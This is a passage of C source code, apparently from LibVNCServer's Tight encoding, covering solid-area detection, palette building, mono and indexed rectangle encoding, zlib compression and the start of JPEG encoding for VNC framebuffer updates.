maxRectWidth) ? maxRectWidth : w; nMaxRows = maxRectSize / nMaxWidth; } /* Try to find large solid-color areas and send them separately. */ for (dy = y; dy < y + h; dy += MAX_SPLIT_TILE_SIZE) { /* If a rectangle becomes too large, send its upper part now. */ if (dy - y >= nMaxRows) { if (!SendRectSimple(cl, x, y, w, nMaxRows)) return 0; y += nMaxRows; h -= nMaxRows; } dh = (dy + MAX_SPLIT_TILE_SIZE <= y + h) ? MAX_SPLIT_TILE_SIZE : (y + h - dy); for (dx = x; dx < x + w; dx += MAX_SPLIT_TILE_SIZE) { dw = (dx + MAX_SPLIT_TILE_SIZE <= x + w) ? MAX_SPLIT_TILE_SIZE : (x + w - dx); if (CheckSolidTile(cl, dx, dy, dw, dh, &colorValue, FALSE)) { if (subsampLevel == TJ_GRAYSCALE && qualityLevel != -1) { uint32_t r = (colorValue >> 16) & 0xFF; uint32_t g = (colorValue >> 8) & 0xFF; uint32_t b = (colorValue) & 0xFF; double y = (0.257 * (double)r) + (0.504 * (double)g) + (0.098 * (double)b) + 16.; colorValue = (int)y + (((int)y) << 8) + (((int)y) << 16); } /* Get dimensions of solid-color area. */ FindBestSolidArea(cl, dx, dy, w - (dx - x), h - (dy - y), colorValue, &w_best, &h_best); /* Make sure a solid rectangle is large enough (or the whole rectangle is of the same color). */ if ( w_best * h_best != w * h && w_best * h_best < MIN_SOLID_SUBRECT_SIZE ) continue; /* Try to extend solid rectangle to maximum size. */ x_best = dx; y_best = dy; ExtendSolidArea(cl, x, y, w, h, colorValue, &x_best, &y_best, &w_best, &h_best); /* Send rectangles at top and left to solid-color area. */ if ( y_best != y && !SendRectSimple(cl, x, y, w, y_best-y) ) return FALSE; if ( x_best != x && !SendRectEncodingTight(cl, x, y_best, x_best-x, h_best) ) return FALSE; /* Send solid-color rectangle. */ if (!SendTightHeader(cl, x_best, y_best, w_best, h_best)) return FALSE; fbptr = (cl->scaledScreen->frameBuffer + (cl->scaledScreen->paddedWidthInBytes * y_best) + (x_best * (cl->scaledScreen->bitsPerPixel / 8))); (*cl->translateFn)(cl->translateLookupTable, &cl->screen->serverFormat, &cl->format, fbptr, tightBeforeBuf, cl->scaledScreen->paddedWidthInBytes, 1, 1); if (!SendSolidRect(cl)) return FALSE; /* Send remaining rectangles (at right and bottom). */ if ( x_best + w_best != x + w && !SendRectEncodingTight(cl, x_best + w_best, y_best, w - (x_best-x) - w_best, h_best) ) return FALSE; if ( y_best + h_best != y + h && !SendRectEncodingTight(cl, x, y_best + h_best, w, h - (y_best-y) - h_best) ) return FALSE; /* Return after all recursive calls are done. */ return TRUE; } } } /* No suitable solid-color rectangles found. */ return SendRectSimple(cl, x, y, w, h); } static void FindBestSolidArea(rfbClientPtr cl, int x, int y, int w, int h, uint32_t colorValue, int *w_ptr, int *h_ptr) { int dx, dy, dw, dh; int w_prev; int w_best = 0, h_best = 0; w_prev = w; for (dy = y; dy < y + h; dy += MAX_SPLIT_TILE_SIZE) { dh = (dy + MAX_SPLIT_TILE_SIZE <= y + h) ? MAX_SPLIT_TILE_SIZE : (y + h - dy); dw = (w_prev > MAX_SPLIT_TILE_SIZE) ? MAX_SPLIT_TILE_SIZE : w_prev; if (!CheckSolidTile(cl, x, dy, dw, dh, &colorValue, TRUE)) break; for (dx = x + dw; dx < x + w_prev;) { dw = (dx + MAX_SPLIT_TILE_SIZE <= x + w_prev) ? MAX_SPLIT_TILE_SIZE : (x + w_prev - dx); if (!CheckSolidTile(cl, dx, dy, dw, dh, &colorValue, TRUE)) break; dx += dw; } w_prev = dx - x; if (w_prev * (dy + dh - y) > w_best * h_best) { w_best = w_prev; h_best = dy + dh - y; } } *w_ptr = w_best; *h_ptr = h_best; } static void ExtendSolidArea(rfbClientPtr cl, int x, int y, int w, int h, uint32_t colorValue, int *x_ptr, int *y_ptr, int *w_ptr, int *h_ptr) { int cx, cy; /* Try to extend the area upwards. */ for ( cy = *y_ptr - 1; cy >= y && CheckSolidTile(cl, *x_ptr, cy, *w_ptr, 1, &colorValue, TRUE); cy-- ); *h_ptr += *y_ptr - (cy + 1); *y_ptr = cy + 1; /* ... downwards. */ for ( cy = *y_ptr + *h_ptr; cy < y + h && CheckSolidTile(cl, *x_ptr, cy, *w_ptr, 1, &colorValue, TRUE); cy++ ); *h_ptr += cy - (*y_ptr + *h_ptr); /* ... to the left. */ for ( cx = *x_ptr - 1; cx >= x && CheckSolidTile(cl, cx, *y_ptr, 1, *h_ptr, &colorValue, TRUE); cx-- ); *w_ptr += *x_ptr - (cx + 1); *x_ptr = cx + 1; /* ... to the right. */ for ( cx = *x_ptr + *w_ptr; cx < x + w && CheckSolidTile(cl, cx, *y_ptr, 1, *h_ptr, &colorValue, TRUE); cx++ ); *w_ptr += cx - (*x_ptr + *w_ptr); } /* * Check if a rectangle is all of the same color. If needSameColor is * set to non-zero, then also check that its color equals to the * *colorPtr value. The result is 1 if the test is successful, and in * that case new color will be stored in *colorPtr. */ static rfbBool CheckSolidTile(rfbClientPtr cl, int x, int y, int w, int h, uint32_t* colorPtr, rfbBool needSameColor) { switch(cl->screen->serverFormat.bitsPerPixel) { case 32: return CheckSolidTile32(cl, x, y, w, h, colorPtr, needSameColor); case 16: return CheckSolidTile16(cl, x, y, w, h, colorPtr, needSameColor); default: return CheckSolidTile8(cl, x, y, w, h, colorPtr, needSameColor); } } #define DEFINE_CHECK_SOLID_FUNCTION(bpp) \ \ static rfbBool \ CheckSolidTile##bpp(rfbClientPtr cl, int x, int y, int w, int h, \ uint32_t* colorPtr, rfbBool needSameColor) \ { \ uint##bpp##_t *fbptr; \ uint##bpp##_t colorValue; \ int dx, dy; \ \ fbptr = (uint##bpp##_t *)&cl->scaledScreen->frameBuffer \ [y * cl->scaledScreen->paddedWidthInBytes + x * (bpp/8)]; \ \ colorValue = *fbptr; \ if (needSameColor && (uint32_t)colorValue != *colorPtr) \ return FALSE; \ \ for (dy = 0; dy < h; dy++) { \ for (dx = 0; dx < w; dx++) { \ if (colorValue != fbptr[dx]) \ return FALSE; \ } \ fbptr = (uint##bpp##_t *)((uint8_t *)fbptr \ + cl->scaledScreen->paddedWidthInBytes); \ } \ \ *colorPtr = (uint32_t)colorValue; \ return TRUE; \ } DEFINE_CHECK_SOLID_FUNCTION(8) DEFINE_CHECK_SOLID_FUNCTION(16) DEFINE_CHECK_SOLID_FUNCTION(32) static rfbBool SendRectSimple(rfbClientPtr cl, int x, int y, int w, int h) { int maxBeforeSize, maxAfterSize; int maxRectSize, maxRectWidth; int subrectMaxWidth, subrectMaxHeight; int dx, dy; int rw, rh; maxRectSize = tightConf[compressLevel].maxRectSize; maxRectWidth = tightConf[compressLevel].maxRectWidth; maxBeforeSize = maxRectSize * (cl->format.bitsPerPixel / 8); maxAfterSize = maxBeforeSize + (maxBeforeSize + 99) / 100 + 12; if (tightBeforeBufSize < maxBeforeSize) { tightBeforeBufSize = maxBeforeSize; if (tightBeforeBuf == NULL) tightBeforeBuf = (char *)malloc(tightBeforeBufSize); else tightBeforeBuf = (char *)realloc(tightBeforeBuf, tightBeforeBufSize); } if (tightAfterBufSize < maxAfterSize) { tightAfterBufSize = maxAfterSize; if (tightAfterBuf == NULL) tightAfterBuf = (char *)malloc(tightAfterBufSize); else tightAfterBuf = (char *)realloc(tightAfterBuf, tightAfterBufSize); } if (w > maxRectWidth || w * h > maxRectSize) { subrectMaxWidth = (w > maxRectWidth) ? maxRectWidth : w; subrectMaxHeight = maxRectSize / subrectMaxWidth; for (dy = 0; dy < h; dy += subrectMaxHeight) { for (dx = 0; dx < w; dx += maxRectWidth) { rw = (dx + maxRectWidth < w) ? maxRectWidth : w - dx; rh = (dy + subrectMaxHeight < h) ? subrectMaxHeight : h - dy; if (!SendSubrect(cl, x + dx, y + dy, rw, rh)) return FALSE; } } } else { if (!SendSubrect(cl, x, y, w, h)) return FALSE; } return TRUE; } static rfbBool SendSubrect(rfbClientPtr cl, int x, int y, int w, int h) { char *fbptr; rfbBool success = FALSE; /* Send pending data if there is more than 128 bytes. */ if (cl->ublen > 128) { if (!rfbSendUpdateBuf(cl)) return FALSE; } if (!SendTightHeader(cl, x, y, w, h)) return FALSE; fbptr = (cl->scaledScreen->frameBuffer + (cl->scaledScreen->paddedWidthInBytes * y) + (x * (cl->scaledScreen->bitsPerPixel / 8))); if (subsampLevel == TJ_GRAYSCALE && qualityLevel != -1) return SendJpegRect(cl, x, y, w, h, qualityLevel); paletteMaxColors = w * h / tightConf[compressLevel].idxMaxColorsDivisor; if(qualityLevel != -1) paletteMaxColors = tightConf[compressLevel].palMaxColorsWithJPEG; if ( paletteMaxColors < 2 && w * h >= tightConf[compressLevel].monoMinRectSize ) { paletteMaxColors = 2; } if (cl->format.bitsPerPixel == cl->screen->serverFormat.bitsPerPixel && cl->format.redMax == cl->screen->serverFormat.redMax && cl->format.greenMax == cl->screen->serverFormat.greenMax && cl->format.blueMax == cl->screen->serverFormat.blueMax && cl->format.bitsPerPixel >= 16) { /* This is so we can avoid translating the pixels when compressing with JPEG, since it is unnecessary */ switch (cl->format.bitsPerPixel) { case 16: FastFillPalette16(cl, (uint16_t *)fbptr, w, cl->scaledScreen->paddedWidthInBytes / 2, h); break; default: FastFillPalette32(cl, (uint32_t *)fbptr, w, cl->scaledScreen->paddedWidthInBytes / 4, h); } if(paletteNumColors != 0 || qualityLevel == -1) { (*cl->translateFn)(cl->translateLookupTable, &cl->screen->serverFormat, &cl->format, fbptr, tightBeforeBuf, cl->scaledScreen->paddedWidthInBytes, w, h); } } else { (*cl->translateFn)(cl->translateLookupTable, &cl->screen->serverFormat, &cl->format, fbptr, tightBeforeBuf, cl->scaledScreen->paddedWidthInBytes, w, h); switch (cl->format.bitsPerPixel) { case 8: FillPalette8(w * h); break; case 16: FillPalette16(w * h); break; default: FillPalette32(w * h); } } switch (paletteNumColors) { case 0: /* Truecolor image */ if (qualityLevel != -1) { success = SendJpegRect(cl, x, y, w, h, qualityLevel); } else { success = SendFullColorRect(cl, x, y, w, h); } break; case 1: /* Solid rectangle */ success = SendSolidRect(cl); break; case 2: /* Two-color rectangle */ success = SendMonoRect(cl, x, y, w, h); break; default: /* Up to 256 different colors */ success = SendIndexedRect(cl, x, y, w, h); } return success; } static rfbBool SendTightHeader(rfbClientPtr cl, int x, int y, int w, int h) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(cl->tightEncoding); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, cl->tightEncoding, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader + w * (cl->format.bitsPerPixel / 8) * h); return TRUE; } /* * Subencoding implementations. */ static rfbBool SendSolidRect(rfbClientPtr cl) { int len; if (usePixelFormat24) { Pack24(cl, tightBeforeBuf, &cl->format, 1); len = 3; } else len = cl->format.bitsPerPixel / 8; if (cl->ublen + 1 + len > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } cl->updateBuf[cl->ublen++] = (char)(rfbTightFill << 4); memcpy (&cl->updateBuf[cl->ublen], tightBeforeBuf, len); cl->ublen += len; rfbStatRecordEncodingSentAdd(cl, cl->tightEncoding, len + 1); return TRUE; } static rfbBool SendMonoRect(rfbClientPtr cl, int x, int y, int w, int h) { int streamId = 1; int paletteLen, dataLen; #ifdef LIBVNCSERVER_HAVE_LIBPNG if (CanSendPngRect(cl, w, h)) { /* TODO: setup palette maybe */ return SendPngRect(cl, x, y, w, h); /* TODO: destroy palette maybe */ } #endif if ( cl->ublen + TIGHT_MIN_TO_COMPRESS + 6 + 2 * cl->format.bitsPerPixel / 8 > UPDATE_BUF_SIZE ) { if (!rfbSendUpdateBuf(cl)) return FALSE; } /* Prepare tight encoding header. */ dataLen = (w + 7) / 8; dataLen *= h; if (tightConf[compressLevel].monoZlibLevel == 0 && cl->tightEncoding != rfbEncodingTightPng) cl->updateBuf[cl->ublen++] = (char)((rfbTightNoZlib | rfbTightExplicitFilter) << 4); else cl->updateBuf[cl->ublen++] = (streamId | rfbTightExplicitFilter) << 4; cl->updateBuf[cl->ublen++] = rfbTightFilterPalette; cl->updateBuf[cl->ublen++] = 1; /* Prepare palette, convert image. */ switch (cl->format.bitsPerPixel) { case 32: EncodeMonoRect32((uint8_t *)tightBeforeBuf, w, h); ((uint32_t *)tightAfterBuf)[0] = monoBackground; ((uint32_t *)tightAfterBuf)[1] = monoForeground; if (usePixelFormat24) { Pack24(cl, tightAfterBuf, &cl->format, 2); paletteLen = 6; } else paletteLen = 8; memcpy(&cl->updateBuf[cl->ublen], tightAfterBuf, paletteLen); cl->ublen += paletteLen; rfbStatRecordEncodingSentAdd(cl, cl->tightEncoding, 3 + paletteLen); break; case 16: EncodeMonoRect16((uint8_t *)tightBeforeBuf, w, h); ((uint16_t *)tightAfterBuf)[0] = (uint16_t)monoBackground; ((uint16_t *)tightAfterBuf)[1] = (uint16_t)monoForeground; memcpy(&cl->updateBuf[cl->ublen], tightAfterBuf, 4); cl->ublen += 4; rfbStatRecordEncodingSentAdd(cl, cl->tightEncoding, 7); break; default: EncodeMonoRect8((uint8_t *)tightBeforeBuf, w, h); cl->updateBuf[cl->ublen++] = (char)monoBackground; cl->updateBuf[cl->ublen++] = (char)monoForeground; rfbStatRecordEncodingSentAdd(cl, cl->tightEncoding, 5); } return CompressData(cl, streamId, dataLen, tightConf[compressLevel].monoZlibLevel, Z_DEFAULT_STRATEGY); } static rfbBool SendIndexedRect(rfbClientPtr cl, int x, int y, int w, int h) { int streamId = 2; int i, entryLen; #ifdef LIBVNCSERVER_HAVE_LIBPNG if (CanSendPngRect(cl, w, h)) { return SendPngRect(cl, x, y, w, h); } #endif if ( cl->ublen + TIGHT_MIN_TO_COMPRESS + 6 + paletteNumColors * cl->format.bitsPerPixel / 8 > UPDATE_BUF_SIZE ) { if (!rfbSendUpdateBuf(cl)) return FALSE; } /* Prepare tight encoding header. */ if (tightConf[compressLevel].idxZlibLevel == 0 && cl->tightEncoding != rfbEncodingTightPng) cl->updateBuf[cl->ublen++] = (char)((rfbTightNoZlib | rfbTightExplicitFilter) << 4); else cl->updateBuf[cl->ublen++] = (streamId | rfbTightExplicitFilter) << 4; cl->updateBuf[cl->ublen++] = rfbTightFilterPalette; cl->updateBuf[cl->ublen++] = (char)(paletteNumColors - 1); /* Prepare palette, convert image. */ switch (cl->format.bitsPerPixel) { case 32: EncodeIndexedRect32((uint8_t *)tightBeforeBuf, w * h); for (i = 0; i < paletteNumColors; i++) { ((uint32_t *)tightAfterBuf)[i] = palette.entry[i].listNode->rgb; } if (usePixelFormat24) { Pack24(cl, tightAfterBuf, &cl->format, paletteNumColors); entryLen = 3; } else entryLen = 4; memcpy(&cl->updateBuf[cl->ublen], tightAfterBuf, paletteNumColors * entryLen); cl->ublen += paletteNumColors * entryLen; rfbStatRecordEncodingSentAdd(cl, cl->tightEncoding, 3 + paletteNumColors * entryLen); break; case 16: EncodeIndexedRect16((uint8_t *)tightBeforeBuf, w * h); for (i = 0; i < paletteNumColors; i++) { ((uint16_t *)tightAfterBuf)[i] = (uint16_t)palette.entry[i].listNode->rgb; } memcpy(&cl->updateBuf[cl->ublen], tightAfterBuf, paletteNumColors * 2); cl->ublen += paletteNumColors * 2; rfbStatRecordEncodingSentAdd(cl, cl->tightEncoding, 3 + paletteNumColors * 2); break; default: return FALSE; /* Should never happen. */ } return CompressData(cl, streamId, w * h, tightConf[compressLevel].idxZlibLevel, Z_DEFAULT_STRATEGY); } static rfbBool SendFullColorRect(rfbClientPtr cl, int x, int y, int w, int h) { int streamId = 0; int len; #ifdef LIBVNCSERVER_HAVE_LIBPNG if (CanSendPngRect(cl, w, h)) { return SendPngRect(cl, x, y, w, h); } #endif if (cl->ublen + TIGHT_MIN_TO_COMPRESS + 1 > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } if (tightConf[compressLevel].rawZlibLevel == 0 && cl->tightEncoding != rfbEncodingTightPng) cl->updateBuf[cl->ublen++] = (char)(rfbTightNoZlib << 4); else cl->updateBuf[cl->ublen++] = 0x00; /* stream id = 0, no flushing, no filter */ rfbStatRecordEncodingSentAdd(cl, cl->tightEncoding, 1); if (usePixelFormat24) { Pack24(cl, tightBeforeBuf, &cl->format, w * h); len = 3; } else len = cl->format.bitsPerPixel / 8; return CompressData(cl, streamId, w * h * len, tightConf[compressLevel].rawZlibLevel, Z_DEFAULT_STRATEGY); } static rfbBool CompressData(rfbClientPtr cl, int streamId, int dataLen, int zlibLevel, int zlibStrategy) { z_streamp pz; int err; if (dataLen < TIGHT_MIN_TO_COMPRESS) { memcpy(&cl->updateBuf[cl->ublen], tightBeforeBuf, dataLen); cl->ublen += dataLen; rfbStatRecordEncodingSentAdd(cl, cl->tightEncoding, dataLen); return TRUE; } if (zlibLevel == 0) return SendCompressedData (cl, tightBeforeBuf, dataLen); pz = &cl->zsStruct[streamId]; /* Initialize compression stream if needed. */ if (!cl->zsActive[streamId]) { pz->zalloc = Z_NULL; pz->zfree = Z_NULL; pz->opaque = Z_NULL; err = deflateInit2 (pz, zlibLevel, Z_DEFLATED, MAX_WBITS, MAX_MEM_LEVEL, zlibStrategy); if (err != Z_OK) return FALSE; cl->zsActive[streamId] = TRUE; cl->zsLevel[streamId] = zlibLevel; } /* Prepare buffer pointers. */ pz->next_in = (Bytef *)tightBeforeBuf; pz->avail_in = dataLen; pz->next_out = (Bytef *)tightAfterBuf; pz->avail_out = tightAfterBufSize; /* Change compression parameters if needed. */ if (zlibLevel != cl->zsLevel[streamId]) { if (deflateParams (pz, zlibLevel, zlibStrategy) != Z_OK) { return FALSE; } cl->zsLevel[streamId] = zlibLevel; } /* Actual compression. */ if (deflate(pz, Z_SYNC_FLUSH) != Z_OK || pz->avail_in != 0 || pz->avail_out == 0) { return FALSE; } return SendCompressedData(cl, tightAfterBuf, tightAfterBufSize - pz->avail_out); } static rfbBool SendCompressedData(rfbClientPtr cl, char *buf, int compressedLen) { int i, portionLen; cl->updateBuf[cl->ublen++] = compressedLen & 0x7F; rfbStatRecordEncodingSentAdd(cl, cl->tightEncoding, 1); if (compressedLen > 0x7F) { cl->updateBuf[cl->ublen-1] |= 0x80; cl->updateBuf[cl->ublen++] = compressedLen >> 7 & 0x7F; rfbStatRecordEncodingSentAdd(cl, cl->tightEncoding, 1); if (compressedLen > 0x3FFF) { cl->updateBuf[cl->ublen-1] |= 0x80; cl->updateBuf[cl->ublen++] = compressedLen >> 14 & 0xFF; rfbStatRecordEncodingSentAdd(cl, cl->tightEncoding, 1); } } portionLen = UPDATE_BUF_SIZE; for (i = 0; i < compressedLen; i += portionLen) { if (i + portionLen > compressedLen) { portionLen = compressedLen - i; } if (cl->ublen + portionLen > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } memcpy(&cl->updateBuf[cl->ublen], &buf[i], portionLen); cl->ublen += portionLen; } rfbStatRecordEncodingSentAdd(cl, cl->tightEncoding, compressedLen); return TRUE; } /* * Code to determine how many different colors used in rectangle. */ static void FillPalette8(int count) { uint8_t *data = (uint8_t *)tightBeforeBuf; uint8_t c0, c1; int i, n0, n1; paletteNumColors = 0; c0 = data[0]; for (i = 1; i < count && data[i] == c0; i++); if (i == count) { paletteNumColors = 1; return; /* Solid rectangle */ } if (paletteMaxColors < 2) return; n0 = i; c1 = data[i]; n1 = 0; for (i++; i < count; i++) { if (data[i] == c0) { n0++; } else if (data[i] == c1) { n1++; } else break; } if (i == count) { if (n0 > n1) { monoBackground = (uint32_t)c0; monoForeground = (uint32_t)c1; } else { monoBackground = (uint32_t)c1; monoForeground = (uint32_t)c0; } paletteNumColors = 2; /* Two colors */ } } #define DEFINE_FILL_PALETTE_FUNCTION(bpp) \ \ static void \ FillPalette##bpp(int count) { \ uint##bpp##_t *data = (uint##bpp##_t *)tightBeforeBuf; \ uint##bpp##_t c0, c1, ci; \ int i, n0, n1, ni; \ \ c0 = data[0]; \ for (i = 1; i < count && data[i] == c0; i++); \ if (i >= count) { \ paletteNumColors = 1; /* Solid rectangle */ \ return; \ } \ \ if (paletteMaxColors < 2) { \ paletteNumColors = 0; /* Full-color encoding preferred */ \ return; \ } \ \ n0 = i; \ c1 = data[i]; \ n1 = 0; \ for (i++; i < count; i++) { \ ci = data[i]; \ if (ci == c0) { \ n0++; \ } else if (ci == c1) { \ n1++; \ } else \ break; \ } \ if (i >= count) { \ if (n0 > n1) { \ monoBackground = (uint32_t)c0; \ monoForeground = (uint32_t)c1; \ } else { \ monoBackground = (uint32_t)c1; \ monoForeground = (uint32_t)c0; \ } \ paletteNumColors = 2; /* Two colors */ \ return; \ } \ \ PaletteReset(); \ PaletteInsert (c0, (uint32_t)n0, bpp); \ PaletteInsert (c1, (uint32_t)n1, bpp); \ \ ni = 1; \ for (i++; i < count; i++) { \ if (data[i] == ci) { \ ni++; \ } else { \ if (!PaletteInsert (ci, (uint32_t)ni, bpp)) \ return; \ ci = data[i]; \ ni = 1; \ } \ } \ PaletteInsert (ci, (uint32_t)ni, bpp); \ } DEFINE_FILL_PALETTE_FUNCTION(16) DEFINE_FILL_PALETTE_FUNCTION(32) #define DEFINE_FAST_FILL_PALETTE_FUNCTION(bpp) \ \ static void \ FastFillPalette##bpp(rfbClientPtr cl, uint##bpp##_t *data, int w, \ int pitch, int h) \ { \ uint##bpp##_t c0, c1, ci, mask, c0t, c1t, cit; \ int i, j, i2 = 0, j2, n0, n1, ni; \ \ if (cl->translateFn != rfbTranslateNone) { \ mask = cl->screen->serverFormat.redMax \ << cl->screen->serverFormat.redShift; \ mask |= cl->screen->serverFormat.greenMax \ << cl->screen->serverFormat.greenShift; \ mask |= cl->screen->serverFormat.blueMax \ << cl->screen->serverFormat.blueShift; \ } else mask = ~0; \ \ c0 = data[0] & mask; \ for (j = 0; j < h; j++) { \ for (i = 0; i < w; i++) { \ if ((data[j * pitch + i] & mask) != c0) \ goto done; \ } \ } \ done: \ if (j >= h) { \ paletteNumColors = 1; /* Solid rectangle */ \ return; \ } \ if (paletteMaxColors < 2) { \ paletteNumColors = 0; /* Full-color encoding preferred */ \ return; \ } \ \ n0 = j * w + i; \ c1 = data[j * pitch + i] & mask; \ n1 = 0; \ i++; if (i >= w) {i = 0; j++;} \ for (j2 = j; j2 < h; j2++) { \ for (i2 = i; i2 < w; i2++) { \ ci = data[j2 * pitch + i2] & mask; \ if (ci == c0) { \ n0++; \ } else if (ci == c1) { \ n1++; \ } else \ goto done2; \ } \ i = 0; \ } \ done2: \ (*cl->translateFn)(cl->translateLookupTable, \ &cl->screen->serverFormat, &cl->format, \ (char *)&c0, (char *)&c0t, bpp/8, 1, 1); \ (*cl->translateFn)(cl->translateLookupTable, \ &cl->screen->serverFormat, &cl->format, \ (char *)&c1, (char *)&c1t, bpp/8, 1, 1); \ if (j2 >= h) { \ if (n0 > n1) { \ monoBackground = (uint32_t)c0t; \ monoForeground = (uint32_t)c1t; \ } else { \ monoBackground = (uint32_t)c1t; \ monoForeground = (uint32_t)c0t; \ } \ paletteNumColors = 2; /* Two colors */ \ return; \ } \ \ PaletteReset(); \ PaletteInsert (c0t, (uint32_t)n0, bpp); \ PaletteInsert (c1t, (uint32_t)n1, bpp); \ \ ni = 1; \ i2++; if (i2 >= w) {i2 = 0; j2++;} \ for (j = j2; j < h; j++) { \ for (i = i2; i < w; i++) { \ if ((data[j * pitch + i] & mask) == ci) { \ ni++; \ } else { \ (*cl->translateFn)(cl->translateLookupTable, \ &cl->screen->serverFormat, \ &cl->format, (char *)&ci, \ (char *)&cit, bpp/8, 1, 1); \ if (!PaletteInsert (cit, (uint32_t)ni, bpp)) \ return; \ ci = data[j * pitch + i] & mask; \ ni = 1; \ } \ } \ i2 = 0; \ } \ \ (*cl->translateFn)(cl->translateLookupTable, \ &cl->screen->serverFormat, &cl->format, \ (char *)&ci, (char *)&cit, bpp/8, 1, 1); \ PaletteInsert (cit, (uint32_t)ni, bpp); \ } DEFINE_FAST_FILL_PALETTE_FUNCTION(16) DEFINE_FAST_FILL_PALETTE_FUNCTION(32) /* * Functions to operate with palette structures. */ #define HASH_FUNC16(rgb) ((int)((((rgb) >> 8) + (rgb)) & 0xFF)) #define HASH_FUNC32(rgb) ((int)((((rgb) >> 16) + ((rgb) >> 8)) & 0xFF)) static void PaletteReset(void) { paletteNumColors = 0; memset(palette.hash, 0, 256 * sizeof(COLOR_LIST *)); } static int PaletteInsert(uint32_t rgb, int numPixels, int bpp) { COLOR_LIST *pnode; COLOR_LIST *prev_pnode = NULL; int hash_key, idx, new_idx, count; hash_key = (bpp == 16) ? HASH_FUNC16(rgb) : HASH_FUNC32(rgb); pnode = palette.hash[hash_key]; while (pnode != NULL) { if (pnode->rgb == rgb) { /* Such palette entry already exists. */ new_idx = idx = pnode->idx; count = palette.entry[idx].numPixels + numPixels; if (new_idx && palette.entry[new_idx-1].numPixels < count) { do { palette.entry[new_idx] = palette.entry[new_idx-1]; palette.entry[new_idx].listNode->idx = new_idx; new_idx--; } while (new_idx && palette.entry[new_idx-1].numPixels < count); palette.entry[new_idx].listNode = pnode; pnode->idx = new_idx; } palette.entry[new_idx].numPixels = count; return paletteNumColors; } prev_pnode = pnode; pnode = pnode->next; } /* Check if palette is full. */ if (paletteNumColors == 256 || paletteNumColors == paletteMaxColors) { paletteNumColors = 0; return 0; } /* Move palette entries with lesser pixel counts. */ for ( idx = paletteNumColors; idx > 0 && palette.entry[idx-1].numPixels < numPixels; idx-- ) { palette.entry[idx] = palette.entry[idx-1]; palette.entry[idx].listNode->idx = idx; } /* Add new palette entry into the freed slot. */ pnode = &palette.list[paletteNumColors]; if (prev_pnode != NULL) { prev_pnode->next = pnode; } else { palette.hash[hash_key] = pnode; } pnode->next = NULL; pnode->idx = idx; pnode->rgb = rgb; palette.entry[idx].listNode = pnode; palette.entry[idx].numPixels = numPixels; return (++paletteNumColors); } /* * Converting 32-bit color samples into 24-bit colors. * Should be called only when redMax, greenMax and blueMax are 255. * Color components assumed to be byte-aligned. */ static void Pack24(rfbClientPtr cl, char *buf, rfbPixelFormat *fmt, int count) { uint32_t *buf32; uint32_t pix; int r_shift, g_shift, b_shift; buf32 = (uint32_t *)buf; if (!cl->screen->serverFormat.bigEndian == !fmt->bigEndian) { r_shift = fmt->redShift; g_shift = fmt->greenShift; b_shift = fmt->blueShift; } else { r_shift = 24 - fmt->redShift; g_shift = 24 - fmt->greenShift; b_shift = 24 - fmt->blueShift; } while (count--) { pix = *buf32++; *buf++ = (char)(pix >> r_shift); *buf++ = (char)(pix >> g_shift); *buf++ = (char)(pix >> b_shift); } } /* * Converting truecolor samples into palette indices. */ #define DEFINE_IDX_ENCODE_FUNCTION(bpp) \ \ static void \ EncodeIndexedRect##bpp(uint8_t *buf, int count) { \ COLOR_LIST *pnode; \ uint##bpp##_t *src; \ uint##bpp##_t rgb; \ int rep = 0; \ \ src = (uint##bpp##_t *) buf; \ \ while (count--) { \ rgb = *src++; \ while (count && *src == rgb) { \ rep++, src++, count--; \ } \ pnode = palette.hash[HASH_FUNC##bpp(rgb)]; \ while (pnode != NULL) { \ if ((uint##bpp##_t)pnode->rgb == rgb) { \ *buf++ = (uint8_t)pnode->idx; \ while (rep) { \ *buf++ = (uint8_t)pnode->idx; \ rep--; \ } \ break; \ } \ pnode = pnode->next; \ } \ } \ } DEFINE_IDX_ENCODE_FUNCTION(16) DEFINE_IDX_ENCODE_FUNCTION(32) #define DEFINE_MONO_ENCODE_FUNCTION(bpp) \ \ static void \ EncodeMonoRect##bpp(uint8_t *buf, int w, int h) { \ uint##bpp##_t *ptr; \ uint##bpp##_t bg; \ unsigned int value, mask; \ int aligned_width; \ int x, y, bg_bits; \ \ ptr = (uint##bpp##_t *) buf; \ bg = (uint##bpp##_t) monoBackground; \ aligned_width = w - w % 8; \ \ for (y = 0; y < h; y++) { \ for (x = 0; x < aligned_width; x += 8) { \ for (bg_bits = 0; bg_bits < 8; bg_bits++) { \ if (*ptr++ != bg) \ break; \ } \ if (bg_bits == 8) { \ *buf++ = 0; \ continue; \ } \ mask = 0x80 >> bg_bits; \ value = mask; \ for (bg_bits++; bg_bits < 8; bg_bits++) { \ mask >>= 1; \ if (*ptr++ != bg) { \ value |= mask; \ } \ } \ *buf++ = (uint8_t)value; \ } \ \ mask = 0x80; \ value = 0; \ if (x >= w) \ continue; \ \ for (; x < w; x++) { \ if (*ptr++ != bg) { \ value |= mask; \ } \ mask >>= 1; \ } \ *buf++ = (uint8_t)value; \ } \ } DEFINE_MONO_ENCODE_FUNCTION(8) DEFINE_MONO_ENCODE_FUNCTION(16) DEFINE_MONO_ENCODE_FUNCTION(32) /* * JPEG compression stuff. */ static rfbBool SendJpegRect(rfbClientPtr cl, int x, int y, int w, int h, int quality) { unsigned char *srcbuf; int ps = cl->screen->serverFormat.bitsPerPixel / 8; int subsamp = subsampLevel2tjsubsamp[subsampLevel]; unsigned long size = 0; int flags = 0, pitch; unsigned char *tmpbuf = NULL; if (cl->screen->serverFormat.bitsPerPixel == 8) return SendFullColorRect(cl, x, y, w, h); if (ps < 2) { rfbLog("Error: JPEG requires 16-bit, 24-bit, or 32-bit pixel format.\n"); return 0; } if (!j) { if ((j = tjInitCompress()) == NULL) { rfbLog("JPEG Error: %s\n", tjGetErrorStr()); return 0; } } if (tightAfterBufSize < 